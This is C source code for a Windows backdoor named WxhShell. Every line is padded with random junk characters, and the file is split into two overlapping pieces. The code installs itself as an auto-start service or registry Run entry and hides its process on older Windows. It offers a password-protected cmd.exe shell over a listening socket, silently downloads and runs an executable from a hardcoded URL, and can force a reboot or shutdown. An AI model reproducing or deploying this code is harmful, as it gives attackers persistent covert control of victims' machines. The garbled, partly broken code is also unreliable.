    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vZ_DG}n11  
    if(Boot(SHUTDOWN)) W)$|Hm:H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q8gdI  
    else { JX2 |  
    closesocket(wsh); b]so9aCz  
    ExitThread(0); +X%fcoc  
    } fUL{c,7xda  
    break; U"%8"G0)  
    } -pU\"$nuxH  
  // 获取shell 0-t4+T  
  case 's': { GH; F3s  
    CmdShell(wsh); O'&X aaZV  
    closesocket(wsh); fdCxMKlu;  
    ExitThread(0); <Hr@~<@~  
    break; 3*2&Fw!B  
  } {Gb)Et]<  
  // 退出 gk_Xu  
  case 'x': { zM8/ s96h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?^G$;X7B  
    CloseIt(wsh);  a`h$lUb-  
    break; ZAnO$pA  
    } 4Ow Vt&  
  // 离开 o{-USUGj7  
  case 'q': { [r/Seg"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `aX}.{.!  
    closesocket(wsh); UQji7K }  
    WSACleanup(); zOu$H[  
    exit(1); i*cE  
    break; AVevYbucB  
        } 2fL88/'  
  } I8-&.RE  
  } QLpTz"H  
d=+Lv<  
  // 提示信息 /bNVgK`L5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L/ICFa.G  
} {L2Gb(YLW  
  } vS*0CR\  
@R-~zOv  
  return; )H37a  
} z7l;|T  
`aWwF} +Y  
// shell模块句柄 2h? r![  
int CmdShell(SOCKET sock) ^kR^ QL$  
{ {'wU&!  
STARTUPINFO si; 1^H<+0  
ZeroMemory(&si,sizeof(si)); 7N~qg 7&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #35S7G^@`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6'sFmC  
PROCESS_INFORMATION ProcessInfo; q@RY.&mgW  
char cmdline[]="cmd"; >G3 J3P(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OTFu4"]M  
  return 0; # V9hG9%8  
} OHtZ"^YG  
hDkqEkq1R  
// 自身启动模式  ~NW5+M(u  
int StartFromService(void) ?=@Q12R)X  
{ aab4c^Ms=  
typedef struct :PjUl  
{ G'}_ZUy#  
  DWORD ExitStatus; %Ty {1'o  
  DWORD PebBaseAddress; sp |y/r#  
  DWORD AffinityMask; [q+ 39  
  DWORD BasePriority; !#|fuOWe  
  ULONG UniqueProcessId; X)R] a]1A  
  ULONG InheritedFromUniqueProcessId; r`E1<aCr|  
}   PROCESS_BASIC_INFORMATION; 4oa P"T@6  
T[!q&kFB  
PROCNTQSIP NtQueryInformationProcess; HOQ _T4  
:~A1Ud4c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hr}R,BR|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ef*.}gcU  
sFz4^Kn  
  HANDLE             hProcess; N n-6/]d#  
  PROCESS_BASIC_INFORMATION pbi; mBgx17K/-_  
Y  X{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [Oy2&C  
  if(NULL == hInst ) return 0; AFhG{G'W  
` Ehgn?6'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }Yl8Q>t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "s6_lhu=E7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7;s0m0<%~  
au}0PnA;  
  if (!NtQueryInformationProcess) return 0; ~i&< !O&  
0v)mgrl=,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?bYQZJ>&  
  if(!hProcess) return 0; gl\{QcI8<  
tlxjs]{0E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kd4*Zab  
{|wTZ  
  CloseHandle(hProcess); Pg8=  
7Hlh (k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >5},qs:lZ  
if(hProcess==NULL) return 0; J1ro\"  
1#_j6 Q2  
HMODULE hMod; )xy{[ K|M(  
char procName[255]; /Ta0}Y(y  
unsigned long cbNeeded; KZ/^gR\d  
EsxTBg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~S{\wL53  
ZC-evy  
  CloseHandle(hProcess); Glc4g  
l#f]KLv4N_  
if(strstr(procName,"services")) return 1; // 以服务启动 9d(v^T  
<EN[s  
  return 0; // 注册表启动 ( 2(;u1  
} :;u]Y7  
UlZ)|Ya<M  
// 主模块 [ Zqg"`  
int StartWxhshell(LPSTR lpCmdLine) *8eh%3_$h  
{ 1ZW'PXUZ  
  SOCKET wsl; m<LzB_ G\  
BOOL val=TRUE; :< 3;7R'5  
  int port=0; $zA[5}{ZtQ  
  struct sockaddr_in door; q'-l; V|  
jN{xpd  
  if(wscfg.ws_autoins) Install(); Jj!tRZT  
5:3$VWLa <  
port=atoi(lpCmdLine); krY.Cc]  
WjxBNk'f  
if(port<=0) port=wscfg.ws_port; {"AYOc>2|  
:H:}t>X6Vo  
  WSADATA data; /*2W?ZM~H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q$*_C kT  
8$tpPOhzb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]1$AAmQH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ),FN29mZu  
  door.sin_family = AF_INET; >d[vHyA~!D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }nERQq&A  
  door.sin_port = htons(port); XzFqQ- H  
@?AE75E{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *jSc&{s~  
closesocket(wsl); s/|'1E\F  
return 1; dOgM9P  
} I,Y^_(JW  
]-OkW.8d1  
  if(listen(wsl,2) == INVALID_SOCKET) { J3E:r_+  
closesocket(wsl); yAkN2  
return 1; j'b4Sb s-f  
} -+Ji~;b  
  Wxhshell(wsl); 5. UgJ/  
  WSACleanup(); J, U~ .c  
j-E>*N}-_  
return 0; D"aQbQP  
6j![m+vo%  
} l),13"?C(  
32'9Ch.  
// 以NT服务方式启动 v333z<<S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4B>|Wft{p]  
{ _ L6>4  
DWORD   status = 0; a m%{M7":7  
  DWORD   specificError = 0xfffffff; &,|uTIs  
9:5NX3"p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UZ0O j5B.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K`2DhJC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z4sjH1W  
  serviceStatus.dwWin32ExitCode     = 0; TyXOd,%zl  
  serviceStatus.dwServiceSpecificExitCode = 0; .b)(_*  
  serviceStatus.dwCheckPoint       = 0; teALd~;  
  serviceStatus.dwWaitHint       = 0; < VsZ$  
~/[N)RFD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ds[~Cp   
  if (hServiceStatusHandle==0) return; A|nU _*  
-<.NEV  
status = GetLastError(); }+3~y'k  
  if (status!=NO_ERROR) 2Rt ZTn  
{ @3D%i#2o&[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zOp"n\  
    serviceStatus.dwCheckPoint       = 0; S(xA}0]  
    serviceStatus.dwWaitHint       = 0; i<![i5uAI  
    serviceStatus.dwWin32ExitCode     = status; ]c+'SJQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; >u[ln@ l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); </Lqk3S-!  
    return; hZG{"O!2 s  
  } P3>2=qK"E(  
8\_,Y ji  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AG=1TZI"  
  serviceStatus.dwCheckPoint       = 0; >qZRIDE5$  
  serviceStatus.dwWaitHint       = 0; mJqP#Unik  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =~*u(0sJa  
} -p~B -,  
0nn# U  
// 处理NT服务事件,比如:启动、停止 w-/Tb~#E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -OAH6U9^  
{ {$.{VE+v5  
switch(fdwControl) sNTfRPC  
{ Lj\<qF~n  
case SERVICE_CONTROL_STOP: +fmZ&9hFNJ  
  serviceStatus.dwWin32ExitCode = 0; 3N\X{za  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?!vW&KJZx  
  serviceStatus.dwCheckPoint   = 0; .=D6<4#t  
  serviceStatus.dwWaitHint     = 0; :v48y.Ij7s  
  { 1Pc'wfj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7%WI   
  } O;tn5  
  return; Vt>E\{@[t  
case SERVICE_CONTROL_PAUSE: ]t<%>Z$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; / nRaxzf'  
  break; '?4[w]0J<  
case SERVICE_CONTROL_CONTINUE: o!&*4>tF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?whp _  
  break; O^ hV<+CX  
case SERVICE_CONTROL_INTERROGATE: ]e9kf$'  
  break; I}{eYXh  
}; 0U~JSmj:2K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]|(?i ,p  
} RUO6Co-  
IS~oyFS  
// 标准应用程序主函数 ^.7xu/T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u[@*}|uXM  
{ %*hBrjbj  
B dUyI_Ks:  
// 获取操作系统版本 6<R U~Gh  
OsIsNt=GetOsVer(); &kt#p;/p?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VI{1SIhfa  
+!wc(N[(2  
  // 从命令行安装 xDS9gGr  
  if(strpbrk(lpCmdLine,"iI")) Install(); =X):Zi   
b1"wQM9  
  // 下载执行文件 AmFHn  
if(wscfg.ws_downexe) { +ZO*~.zZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t@v8>J%K  
  WinExec(wscfg.ws_filenam,SW_HIDE); c=CXj3  
} 9EW 7,m{A  
MvA_tRO  
if(!OsIsNt) { yo=d"*E4^  
// 如果时win9x,隐藏进程并且设置为注册表启动 mbK$Wp#  
HideProc(); "~ 6B C  
StartWxhshell(lpCmdLine); k5/}S@F8  
} t!$/r]XM h  
else :yeTzIz]  
  if(StartFromService()) ?T&D@Ohsx  
  // 以服务方式启动 sh RvwE[  
  StartServiceCtrlDispatcher(DispatchTable); r}w 9?s^rB  
else Kk#@8h>  
  // 普通方式启动 wO9<An  
  StartWxhshell(lpCmdLine); Z'~FZRF  
t<=L&:<N  
return 0; I&9B^fF6  
} 1['A1 ,  
c1f6RCu$b  
'_%Jw:4k  
1Ppzch7  
=========================================== K`sm  
' =kX   
lPQH_+)Z"  
X,b} d#\  
g o@}r<B$  
t&0p@xLQ  
" iJK9-k~  
I <7K^j+5:  
#include <stdio.h> jdzV&  
#include <string.h> d:aQlW;}  
#include <windows.h> \GN5Sy]r  
#include <winsock2.h> JqO( ]*"Hi  
#include <winsvc.h> $i hI Hl6'  
#include <urlmon.h> C%&7,F7  
:>5]A6Wi  
#pragma comment (lib, "Ws2_32.lib") ~tWBCq 6  
#pragma comment (lib, "urlmon.lib") aNz%vbh\  
/:DxB00  
#define MAX_USER   100 // 最大客户端连接数 b< rM3P;  
#define BUF_SOCK   200 // sock buffer dK-G%5)r  
#define KEY_BUFF   255 // 输入 buffer FWj~bn  
!}%giF$-  
#define REBOOT     0   // 重启 [ kknY+n1  
#define SHUTDOWN   1   // 关机 +q(D]:@,[  
.T7ciD  
#define DEF_PORT   5000 // 监听端口 Kj7Osqu2bE  
hH\(> 4l  
#define REG_LEN     16   // 注册表键长度 `@90b 4u  
#define SVC_LEN     80   // NT服务名长度 oj/tim  
7hc(]8eP  
// 从dll定义API BBDOjhik  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hf '3yEm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2+'&||h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z"-Urd^O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <5.{+!BM  
` mi!"pmw  
// wxhshell配置信息 m-:k]9I  
struct WSCFG { Oj2[(7 mO/  
  int ws_port;         // 监听端口 TCYnErqk  
  char ws_passstr[REG_LEN]; // 口令 +1Uw<~  
  int ws_autoins;       // 安装标记, 1=yes 0=no !(]|!F[m  
  char ws_regname[REG_LEN]; // 注册表键名 $t]DxMd  
  char ws_svcname[REG_LEN]; // 服务名 _ n>0!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sTb/l!=o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^ZsME,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1_' ZbZv4h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tf,_4_7#$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &sW/r::,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BBX4^;t  
0Ec -/   
}; 2a G<^3  
P>H'od  
// default Wxhshell configuration Av'H(qB\K  
struct WSCFG wscfg={DEF_PORT, 4DNZ y2`  
    "xuhuanlingzhe", I|.B-$gH  
    1, ,Ubnz  
    "Wxhshell", $?GF]BT  
    "Wxhshell", zUh(b=,  
            "WxhShell Service", D -jew&B  
    "Wrsky Windows CmdShell Service", ,UP6.C14  
    "Please Input Your Password: ", R'{V&H^Z  
  1, UY==1\  
  "http://www.wrsky.com/wxhshell.exe", @U&|38  
  "Wxhshell.exe" GV9"8M Z6  
    }; .sLx6J%  
@{a(f;  
// 消息定义模块 {kC]x2 U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oxRu:+N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H;^6%HV1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @/9> /?JP  
char *msg_ws_ext="\n\rExit."; NzEuiI}  
char *msg_ws_end="\n\rQuit."; 6V8"[0U  
char *msg_ws_boot="\n\rReboot..."; N9i>81tY  
char *msg_ws_poff="\n\rShutdown..."; d&fENnt?h  
char *msg_ws_down="\n\rSave to "; B!5gD   
r4-r z+x  
char *msg_ws_err="\n\rErr!"; jj^CW"IB  
char *msg_ws_ok="\n\rOK!"; Q|0[B4e^:  
0I.7I#'3O  
char ExeFile[MAX_PATH]; Yrd K@I  
int nUser = 0; &1I0i[R  
HANDLE handles[MAX_USER]; ,+JAwII>O  
int OsIsNt; CV`  I.  
{ d/k0H  
SERVICE_STATUS       serviceStatus; | o?@Eh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /5o~$S  
"e(N h%t  
// 函数声明 q[+];  
int Install(void); #):FXB$a  
int Uninstall(void); shi#K<gVC  
int DownloadFile(char *sURL, SOCKET wsh); 6Us#4 v,  
int Boot(int flag); 55#H A?cR  
void HideProc(void); $`uL^ hlj]  
int GetOsVer(void); uv@4/M`  
int Wxhshell(SOCKET wsl); OaEOk57%de  
void TalkWithClient(void *cs); D3_,2  
int CmdShell(SOCKET sock); Q=+KnE=h  
int StartFromService(void); <@?bYp  
int StartWxhshell(LPSTR lpCmdLine); 4Iz~3fqB7  
rod{77  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8U-}%D<a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kweypIB  
G6I>Ry[2?  
// 数据结构和表定义 SnVnC09y  
SERVICE_TABLE_ENTRY DispatchTable[] = V8c&2rNa  
{ KQEnC`Nz  
{wscfg.ws_svcname, NTServiceMain}, `InS8PLr  
{NULL, NULL} U?kJXM2  
}; kefQH\<X  
?&N JN/+%  
// 自我安装 . [C ~a  
int Install(void) xL mo?Y*  
{ fFsA[@5tul  
  char svExeFile[MAX_PATH]; 2"NJt9w  
  HKEY key; ?gTY! ;$P  
  strcpy(svExeFile,ExeFile); 3.8d"  
[1N*mY;  
// 如果是win9x系统,修改注册表设为自启动 2r1., 1  
if(!OsIsNt) { s:Memvf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zX)uC<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L"AZ,|wIk  
  RegCloseKey(key); &'R\yX<J)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b,I$.&BD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rtOXK4)]I  
  RegCloseKey(key); pwm ]2}+  
  return 0; Xbfn@7m  
    } EKgTRRW  
  } HogT#BMs  
} C EAwQH  
else { M[SWMVN{  
p0[ %+n%  
// 如果是NT以上系统,安装为系统服务 :]:q=1;c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nq r[HFWs  
if (schSCManager!=0) ~ZT(@w  
{ 1{_;`V  
  SC_HANDLE schService = CreateService 6VIi nuOW  
  (  d':c  
  schSCManager, @<l7"y;\  
  wscfg.ws_svcname, }O8$?7j(  
  wscfg.ws_svcdisp, 6tj +  
  SERVICE_ALL_ACCESS, q&7J1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u>d,6 !  
  SERVICE_AUTO_START, G/=tC8eX  
  SERVICE_ERROR_NORMAL, ]x?`&f8i  
  svExeFile, =`u4xa#m  
  NULL, 06L/i,  
  NULL, S)p1[&" M  
  NULL, 3s"x{mtH  
  NULL, A=Dzd/CUO  
  NULL HPT$)NeNc  
  ); GXf"a3  
  if (schService!=0) ?9.SwIxU&  
  { KxqJlben  
  CloseServiceHandle(schService); 8eQ 4[wJY  
  CloseServiceHandle(schSCManager); jo/-'Lf{?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); um ,Zt  
  strcat(svExeFile,wscfg.ws_svcname); e0qU2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D&$%JT'3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n YWS'i@  
  RegCloseKey(key); K8f;AK  
  return 0; HOBM?|37CU  
    } m&cVda/  
  } ^*`hJ48u  
  CloseServiceHandle(schSCManager); Y2HF  
} 1r'skmxq  
} "'~55bG  
8 Zhx&  
return 1; ZxLgV$U  
} {L4ta~2/T  
]gx]7  
// 自我卸载 CM|?;PBuv  
int Uninstall(void) c/%i,N\5  
{ cba ~  
  HKEY key; 6O>NDTd%  
-lAX-W 0  
if(!OsIsNt) { h`;w/+/Zr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %i 6i.TF  
  RegDeleteValue(key,wscfg.ws_regname); f+d[Q1  
  RegCloseKey(key); }\?UmuolQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EPkmBru ^  
  RegDeleteValue(key,wscfg.ws_regname); <#k(g\/R  
  RegCloseKey(key); n j0!  
  return 0; tUaDwIu#  
  } 2= S;<J  
} Db3# ;  
} 1<IF@__  
else { 3+ JkV\AF  
HN?NY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^`?2g[AA  
if (schSCManager!=0) g 67;O(3  
{ )! +~q!A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P;G Rk6  
  if (schService!=0) ER-X1fD  
  { Rw-!P>S$  
  if(DeleteService(schService)!=0) { 8&t3a+8l  
  CloseServiceHandle(schService); *.qm+#8W  
  CloseServiceHandle(schSCManager); $q%r}Cdg  
  return 0; ^}8qPBz  
  } ;n`SF~CU  
  CloseServiceHandle(schService); Ti:PKpc  
  } LpN_s#  
  CloseServiceHandle(schSCManager); =n7QLQU  
} :|%k*z  
} %zsY=qT  
@A?Ss8p'  
return 1; tX)l_ ?jVH  
} R+}7]tva6C  
aGSix}b1P  
// 从指定url下载文件 8=\}#F  
int DownloadFile(char *sURL, SOCKET wsh) dX^ ^ @7  
{ \k&2nYVHf  
  HRESULT hr; kn9ul3c  
char seps[]= "/"; )jc`_{PQg  
char *token; F/.nr  
char *file; s aY;[bz}  
char myURL[MAX_PATH]; #$-{hg{  
char myFILE[MAX_PATH]; *5T^wZpj)  
H;D 5)eJ90  
strcpy(myURL,sURL); N=%4V  
  token=strtok(myURL,seps); x)GpNkx:  
  while(token!=NULL) xw2dNJL  
  { /h6K"w=='!  
    file=token; U4s)3jDw  
  token=strtok(NULL,seps); cCa+UTxaJ  
  } }3HN $Fwo  
Wl?0|{W  
GetCurrentDirectory(MAX_PATH,myFILE); T%q@jv{c  
strcat(myFILE, "\\"); {/ef`MxV }  
strcat(myFILE, file); ~[a6  
  send(wsh,myFILE,strlen(myFILE),0); v_G1YC7TU  
send(wsh,"...",3,0); 1xBgb/+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m!#'4  
  if(hr==S_OK) skeH~-`M@  
return 0; 9fQ[:Hl"  
else I.dS-)Y  
return 1; {$AwG#kt  
@'IRh9  
} [a201I0 -  
o|`%>&jP  
// 系统电源模块 {wJ8% ;Z7  
int Boot(int flag) z}.Q~4 f0D  
{ .s-V:k5  
  HANDLE hToken; >>nOS]UL  
  TOKEN_PRIVILEGES tkp; Nl$b;~ u  
r{mj[N'@  
  if(OsIsNt) { kD*r@s]=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?q{HS&k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); % H/V iC  
    tkp.PrivilegeCount = 1; u7(<YSOs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^ L?2y/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ka=EOiX.  
if(flag==REBOOT) { 9@3cz_[J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %r =9,IJ  
  return 0; o{[w6^D7  
} |&u4Q /0  
else { dQljG.PiK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m:-=K  
  return 0; W#Eg\nT  
} [%LIW%t|  
  } 5.M82rR; ~  
  else { 2e?a"Vss  
if(flag==REBOOT) { Yx[B*] 2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P!xN]or]u  
  return 0; Wd>gOE  
} ~8 S2BV3@  
else { eXA@J[- M:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4ux^K:z  
  return 0; }kZ)|/]kn  
}  Q'~3Ik  
} [6cF#_)*  
lY$9-Q(  
return 1; ;s\ck:Xg  
} }Gf9.ACQ  
89Ch'D  
// win9x进程隐藏模块 ioT+,li  
void HideProc(void) wGLSei-s  
{ CbW>yr  
5c ($~EFr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X+KQ%Efo  
  if ( hKernel != NULL ) v{8W+  
  { NTV@,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CaB@,L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S; Fj9\2)I  
    FreeLibrary(hKernel); B`w@Xk'D  
  } pq +~|  
Jp 7m$D%  
return; $+WMKv@<  
} l1UN.l'p  
~O8Xj6  
// 获取操作系统版本 }cO}H2m  
int GetOsVer(void) ~0V,B1a  
{ ,Pj UlcO_  
  OSVERSIONINFO winfo; I?OnEw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y^2]*e%  
  GetVersionEx(&winfo); R>B4v+b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K<E|29t^k  
  return 1; -'Oq.$Qq  
  else @)x8<  
  return 0; $:IEpV{  
} f#3!Q!C^  
m {?uR.O  
// 客户端句柄模块 5: vy_e&  
int Wxhshell(SOCKET wsl) gJYX  
{ ?4sF:Y+\  
  SOCKET wsh; pxV@fH+`  
  struct sockaddr_in client; ov|/=bzro  
  DWORD myID; WUK{st.z  
aTFT'(O,  
  while(nUser<MAX_USER) m\eYm;R Vj  
{ ~8tb^  
  int nSize=sizeof(client); J_7&nIH7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t|]2\6acuc  
  if(wsh==INVALID_SOCKET) return 1; D<J, 3(Yu  
Evt&N)l!^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dkAY%ztwo  
if(handles[nUser]==0) _ipY;  
  closesocket(wsh); C^fUhLVSZ^  
else ?TMrnR/d  
  nUser++; Al^h^ 9tJ  
  } h e1=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \(;X3h  
9-hVlQ~|  
  return 0; !g7bkA  
} 0oPcZ""X]  
ZU K'z  
// 关闭 socket ZnZ`/zNO  
void CloseIt(SOCKET wsh) S r4/8BZ  
{ ~L?q.*q  
closesocket(wsh); !9g >/9h  
nUser--; j6#RV@ p`  
ExitThread(0); HOb0\X  
} dU.H9\p  
v~KgCLo  
// 客户端请求句柄 }gtkO&  
void TalkWithClient(void *cs) IgNL1KRD  
{ dFzlcKFFD  
M&ec%<lM  
  SOCKET wsh=(SOCKET)cs; {hi'LA-4@  
  char pwd[SVC_LEN]; o06vC  
  char cmd[KEY_BUFF]; xa?   
char chr[1]; 0=I:VGC3  
int i,j; s\io9'Ec  
57rH`UFXH  
  while (nUser < MAX_USER) { ]}A3Pm- t*  
ES9|eo6  
if(wscfg.ws_passstr) { g/BlTi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _28vf Bl?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >*e,+ok  
  //ZeroMemory(pwd,KEY_BUFF); %Kc2n9W  
      i=0; Hmv@7$9s\  
  while(i<SVC_LEN) { ~]C m  
qV7nF }V{  
  // 设置超时 X~> 2iL  
  fd_set FdRead; I7} o>{  
  struct timeval TimeOut; %bZ}vJ5b  
  FD_ZERO(&FdRead); <j&LC /]o  
  FD_SET(wsh,&FdRead); U`)o$4Bq  
  TimeOut.tv_sec=8; KpSho<  
  TimeOut.tv_usec=0; 99u9L)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B^lm'/,@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (C60HbL  
zMbz_22*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U9%#(T$  
  pwd=chr[0]; D9-D%R,  
  if(chr[0]==0xd || chr[0]==0xa) { D/TEx2.=J3  
  pwd=0; G;yh$n<"  
  break; +/Qgl  
  } ^gd[UC-"w  
  i++; 2Pic4Z  
    } jLCZ JSK  
:}3;z'2]l  
  // 如果是非法用户,关闭 socket IHStN,QD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \iM  
} P,ud"F=r  
<L>$Y#wU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zqs|~W]c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 25 m!Bf  
> ?<C+ZHh  
while(1) { WJF#+)P:Y  
k+`e0Jago  
  ZeroMemory(cmd,KEY_BUFF); yp\s Jc`  
)Y 9JP@}T  
      // 自动支持客户端 telnet标准   MrFi0G7u  
  j=0; 5@< D6>6  
  while(j<KEY_BUFF) { 6ujePi <U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #P5tTCM  
  cmd[j]=chr[0]; !/wR[`s9w  
  if(chr[0]==0xa || chr[0]==0xd) { E'wJ+X9 +  
  cmd[j]=0; 1Aw/-FxJ  
  break; #azD& 6`  
  } 2#t35fU  
  j++; uwhb-.w  
    } :Miri_l  
9Netnzv%  
  // 下载文件 2}8xY:|@(U  
  if(strstr(cmd,"http://")) { ZINqIfc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L0dj 76'M  
  if(DownloadFile(cmd,wsh)) iR6w)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cgF?[Z+x  
  else 3|9 U`@  
